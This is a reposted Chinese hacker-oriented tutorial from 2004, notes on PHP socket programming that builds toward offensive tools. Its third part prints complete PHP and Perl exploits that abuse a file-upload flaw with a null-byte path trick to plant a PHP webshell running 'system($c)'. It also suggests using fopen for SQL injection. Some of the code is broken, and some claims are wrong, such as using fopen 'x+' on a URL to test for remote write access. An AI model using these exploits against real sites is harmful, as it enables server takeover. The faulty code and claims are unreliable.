首页 电脑 电脑学堂 查看内容

PHP-SOCKETS读书笔记1-3

2004-12-7 03:29 798 0

摘要: 作者:Darkness MSN:cqxy[at]21cn.net PHP-SOCKETS读书笔记1 学习PHP2个月了,收获挺多.但是与别人不同的是,我更喜欢SOCKET.PHP在SOCKET这...
关键词: nbsp 文件 PHP fsockopen SOCKET 函数 如果 指针 参数 fopen

作者:Darkness MSN:cqxy[at]21cn.net PHP-SOCKETS读书笔记1 学习PHP2个月了,收获挺多.但是与别人不同的是,我更喜欢SOCKET.PHP在SOCKET这方面的文章太少了.所以决定写一系列PHP-SOCKET读书笔记.一直从最基本写到SOCKET_RAW.实例+心得.实例将会有端口转发(突破防火墙),动网类型EXP,端口扫描,PHP后门,发包型EXP框架.由于学习缘故,每周只能写一篇.现给出卷一.希望大家一起投入到PHP SHELL编程中来.前言:PHP是世界上最流行的脚本语言之一。一直以来它在WEB编程中得到极广泛的应用。我想说的是PHP不仅在WEB方面出色,在SHELL方面同样出色。只是人们更习惯用PERL来编写SHELL脚本.这里申明一下,本人不是PHP高手,接触PHP不过几个星期,这只是一篇读书笔记。有错误的地方请提出来。也可以给我MAIL,共同探讨PHP。前置知识:PHP最吸引我的地方就是SOCKETS 扩展,事实上我会简单的VB WINSOCK,完全能用VB写一个常用的WINSOCK程序出来。但是我还是选择了PHP。因为它是跨平台的。PHP默认是不支持高级SOCKET的,只支持被"封装"的fsockopen等几个函数。SOCKET作为PHP的扩展,需要设置一下才能使其支持。在WINDOWS需要设置PHP。INI,在PHP。INI找;Windows Extensions这一行,去掉;extension=php_sockets.dll 前面的分号。THAT‘S OK。*NIX下则需要在编译的时候加入-enable—sockets命令。在没有使用DL()函数的时候,你的PHP必须和在同一目录php_sockets.dll。好了,完成PHP SOCKET配置了。下面就是运行的问题了在终端下运行PHP脚本很简单。WINDOWS下C:\php\php.exe -q test.php,*NIX下要在PHP文件事先申明由PHP来执行,就像PERL一样。像#!/usr/local/bin/php -q .,然后再来个./test.php。参数q的意思就是不输出PHP标头信息。输入参数问题:有的人说,PHP SHELL如何输入参数。在WEB的时候可以这样输入参数http://xxx.com/aa.php?参数1=XXXX&参数2=ssssss。没关系PHP同PERL一样,具有相似的参数功能。来看官方的描述"argv" 传递给该脚本的参数。当脚本运行在命令行方式时,argv 变量传递给程序 C 语言样式的命令行参数。当调用 GET 方法时,该变量包含请求的数据。 "argc" 包含传递给程序的命令行参数的个数(如果运行在命令行模式)。呵呵,简单的说。看我举个例子<?if ($argc != 4 || in_array($argc[1] , array('--help','-h','?'))){echo "By Darkness[BST].We will come back soon!\r\n";echo "------------------------------------------------\r\n";echo "C:/PHP/PHP.exe -q uploadexp.php http://www.bugkidz.org/upload.php filepath\r\n";echo "------------------------------------------------\r\n";}$host = $argv[1];$url = $argv[2];$path = $argv[3];?>我想你应该看懂了哦,这里ARGC[0]是指的程序本身。也可以这样来.Printf(%s,$argv[1]); PHP-SOCKETs读书笔记2 前面一段谈到命令行方式的运行。更多请参照http://www.php.net/manual/zh/features.commandline.php1.fopen的应用fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。fopen的使用方法$s = fopen ($url, mode);fopen的MODE属性:mode 说明 'r' 只读方式打开,将文件指针指向文件头。 'r+' 读写方式打开,将文件指针指向文件头。 'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 即用于本地文件的操作,也可以用于INET。是不是很KOOL?假如要测试一个站的IIS目录是不是有写权限。可以这样写 $s = fopen("http://www.bugkidz.org","x+") or die("不存在写权限")如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。但是一般的网站都是只读权限的$s =fopen("http://www.bugkidz.org/index.php?id=1","r");这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容这样while (!feof($s)) {echo fgets($s, 1024);}我认为FOPEN用于SQL INJECTION是最方便不过的了。function phpinet($url){fopen($url,"r") or die("打开URL错误");while (!feof($s)) {$cahe = fgets($s, 1024);}retrun $cahe;fclose($s)}这段函数等同于VB中的inet.openurl PHP-SCOKETS读书笔记3 Fsockopen族函数的使用fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.这样使用fsockopenresource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]]) 例子:$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.通常$sock = fsockopen("192.168.0.1",80);这样即可.$sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来$sock = fsockopen("udp://192.168.0.1",53);用这个来写一个TFTP的客户端也是可以的. fsockopen的应用实例: 实例一,简单的HTTP会话.代码  <?php$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);if (!$fp) {echo "$errstr ($errno)<br />\n";} else {$out = "GET / HTTP/1.1\r\n"; $out .= "Host: www.example.com\r\n";$out .= "Connection: Close\r\n\r\n";  fwrite($fp, $out); while (!feof($fp)) {echo fgets($fp, 128); }fclose($fp);}?>   流程一般是这样的建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.ANGEL写了一个PHP的端口扫描工具,贴出之http://www.4ngel.net/article/20.htm 选择fsockopen 来写简单EXP发送框架绝对是个goodidea.becoz it's so easy.看我的PHP上传漏洞的exp.代码  <?php#codz by Darkness MSN:Cqxy[at]21cn.net$sock = fsockopen("www.ririririri.com",80);if (!$sock){ echo "CANNOT CONNECT IT!";}$body = "-----------------------------7d41f4a600472\r\n"."Content-Disposition: form-data; name=\"path\"\r\n"."\r\n"."www.ppp%00\r\n"."-----------------------------7d41f4a600472\r\n"."Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n"."Content-Type: text/plain\r\n"."\r\n"."<?php\r\n"."system($c);\r\n"."?>\r\n"."-----------------------------7d41f4a600472--\r\n"."\r\n"; $header ="POST /index.php?action=upload HTTP/1.1\r\n"."Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n"."Referer: http://127.0.0.1/index.php?path=.\r\n"."Accept-Language: zh-cn\r\n"."Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n"."Accept-Encoding: gzip, deflate\r\n"."User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n"."Host: 127.0.0.1\r\n"."Content-Length: strlen($body)\r\n"."Connection: Keep-Alive\r\n"."Cache-Control: no-cache\r\n"."Cookie: PHPSESSID=111111111111111111111111\r\n"."\r\n";fputs($sock,$header);sleep(1);fputs($sock,$body);while (!feof($sock)){echo fgets($sock,128);}fclose($sock);?>   再来看XIAOLU用PERL写的exp代码  #!/usr/bin/perl$| = 1;use Socket;$host = "127.0.0.1";$port = "80"; $UploadTo = "";$str ="-----------------------------7d41f4a600472\r\n"."Content-Disposition: form-data; name=\"path\"\r\n"."\r\n"."www.ppp%00\r\n"."-----------------------------7d41f4a600472\r\n"."Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n"."Content-Type: text/plain\r\n"."\r\n"."<?php\r\n"."system($c);\r\n"."?>\r\n"."-----------------------------7d41f4a600472--\r\n"."\r\n"; print $str;$len=length($str);print $len; $req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n"."Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n"."Referer: http://127.0.0.1/index.php?path=.\r\n"."Accept-Language: zh-cn\r\n"."Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n"."Accept-Encoding: gzip, deflate\r\n"."User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n"."Host: 127.0.0.1\r\n"."Content-Length: $len\r\n"."Connection: Keep-Alive\r\n"."Cache-Control: no-cache\r\n"."Cookie: PHPSESSID=111111111111111111111111\r\n"."\r\n"."$str\r\n\r\n";print $req;@res = sendraw($req);print @res; #Hmm...Maybe you can send it by other way sub sendraw {my ($req) = @_;my $target;$target = inet_aton($host) || die("inet_aton problems\n");socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");if(connect(S,pack "SnA4x8",2,$port,$target)){select(S);$| = 1;print $req;my @res = <S>;select(STDOUT);close(S);return @res; else {die("Can't connect...\n"); }    谁更简单,一目了然.到这里可能大家对fsockopen 的使用有一定了解了.下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前 未完待续..... 
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部